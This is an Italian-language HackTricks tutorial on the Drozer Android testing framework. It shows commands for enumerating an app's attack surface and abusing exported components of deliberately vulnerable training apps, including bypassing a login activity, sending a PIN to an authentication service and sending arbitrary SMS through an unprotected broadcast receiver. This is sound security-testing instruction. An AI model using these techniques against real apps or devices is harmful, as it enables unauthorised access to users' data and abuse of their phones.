Drozer Tutorial

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!

APK da testare

Parti di questo tutorial sono state estratte dalla documentazione pdf di Drozer.

Installazione

Installa il client Drozer all'interno del tuo host. Scaricalo dalle ultime versioni rilasciate.

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

Scarica e installa l'APK di drozer dalle ultime versioni. Al momento è questo.

adb install drozer.apk

Avvio del server

L'agente è in esecuzione sulla porta 31415, è necessario eseguire il port forwarding per stabilire la comunicazione tra il Cliente Drozer e l'Agente, ecco il comando da utilizzare:

adb forward tcp:31415 tcp:31415

Infine, avvia l'applicazione e premi il pulsante "ON" in basso.

E connettiti ad essa:

drozer console connect

Comandi Interessanti

Comandi

Descrizione

Help MODULE

Mostra l'aiuto del modulo selezionato

list

Mostra un elenco di tutti i moduli drozer che possono essere eseguiti nella sessione corrente. Questo nasconde i moduli per i quali non si hanno le autorizzazioni appropriate per eseguirli.

shell

Avvia una shell interattiva Linux sul dispositivo, nel contesto dell'Agente.

clean

Rimuove i file temporanei memorizzati da drozer sul dispositivo Android.

load

Carica un file contenente comandi drozer ed eseguili in sequenza.

module

Trova e installa moduli drozer aggiuntivi da Internet.

unset

Rimuove una variabile nominata che drozer passa a qualsiasi shell Linux che avvia.

set

Memorizza un valore in una variabile che verrà passata come variabile ambientale a qualsiasi shell Linux avviata da drozer.

shell

Avvia una shell interattiva Linux sul dispositivo, nel contesto dell'Agente.

run MODULE

Esegue un modulo drozer.

exploit

Drozer può creare exploit da eseguire nel dispositivo. drozer exploit list

payload

Gli exploit necessitano di un payload. drozer payload list

Pacchetto

Trova il nome del pacchetto filtrando per parte del nome:

dz> run app.package.list -f sieve
com.mwr.example.sieve

Informazioni di base del pacchetto:

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Leggi Manifest:

run app.package.manifest jakhar.aseem.diva

Superficie di attacco del pacchetto:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Attività: Forse puoi avviare un'attività e aggirare qualche tipo di autorizzazione che dovrebbe impedirti di lanciarla.

  • Provider di contenuti: Forse puoi accedere a dati privati o sfruttare qualche vulnerabilità (SQL Injection o Path Traversal).

  • Servizi:

  • is debuggable: Ulteriori informazioni

Attività

Il valore "android:exported" di un componente di attività esportato è impostato su "true" nel file AndroidManifest.xml:

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

Elencare le attività esportate:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Avviare attività:

Forse puoi avviare un'attività e bypassare qualche tipo di autorizzazione che dovrebbe impedirti di lanciarla.

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Puoi anche avviare un'attività esportata da adb:

  • PackageName è com.example.demo

  • Nome attività esportata è com.example.test.MainActivity

adb shell am start -n com.example.demo/com.example.test.MainActivity

Fornitori di contenuti

Questo post era troppo grande per essere qui, quindi puoi accedervi nella sua pagina dedicata qui.

Servizi

Un servizio esportato è dichiarato all'interno del Manifest.xml:

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

All'interno del codice controlla la funzione **handleMessage** che riceverà il messaggio:

Elenco dei servizi

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

Interagire con un servizio

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

Esempio

Dai un'occhiata all'aiuto di drozer per app.service.send:

Nota che invierai prima i dati all'interno di "msg.what", poi "msg.arg1" e "msg.arg2", dovresti controllare nel codice quali informazioni vengono utilizzate e dove. Utilizzando l'opzione --extra puoi inviare qualcosa interpretato da "msg.replyTo", e utilizzando --bundle-as-obj crei un oggetto con i dettagli forniti.

Nell'esempio seguente:

  • what == 2354

  • arg1 == 9234

  • arg2 == 1

  • replyTo == object(string com.mwr.example.sieve.PIN 1337)

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

Ricevitori di trasmissione

Nella sezione delle informazioni di base su Android puoi vedere cos'è un Ricevitore di trasmissione.

Dopo aver scoperto questi Ricevitori di trasmissione dovresti controllare il codice di essi. Presta particolare attenzione alla funzione onReceive poiché gestirà i messaggi ricevuti.

Rilevare tutti i ricevitori di trasmissione

run app.broadcast.info #Detects all

Verifica i ricevitori di trasmissione di un'app

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

Interazioni di Broadcast

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

Invia un messaggio

In questo esempio sfruttando il FourGoats apk Content Provider puoi inviare un SMS arbitrario a una qualsiasi destinazione non premium senza chiedere il permesso all'utente.

Se leggi il codice, i parametri "phoneNumber" e "message" devono essere inviati al Content Provider.

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

È possibile eseguire il debug

Un APK di produzione non dovrebbe mai essere possibile da debuggare. Ciò significa che è possibile collegare un debugger Java all'applicazione in esecuzione, ispezionarla in tempo reale, impostare punti di interruzione, procedere passo dopo passo, raccogliere i valori delle variabili e persino modificarli. InfoSec institute ha un ottimo articolo su come approfondire quando la tua applicazione è debuggabile e iniettare codice in tempo reale.

Quando un'applicazione è debuggabile, comparirà nel Manifest:

<application theme="@2131296387" debuggable="true"

Puoi trovare tutte le applicazioni debuggabili con Drozer:

run app.package.debuggable

Tutorial

Ulteriori informazioni

Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi stesso e inizia a guadagnare taglie fino a $100,000!

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated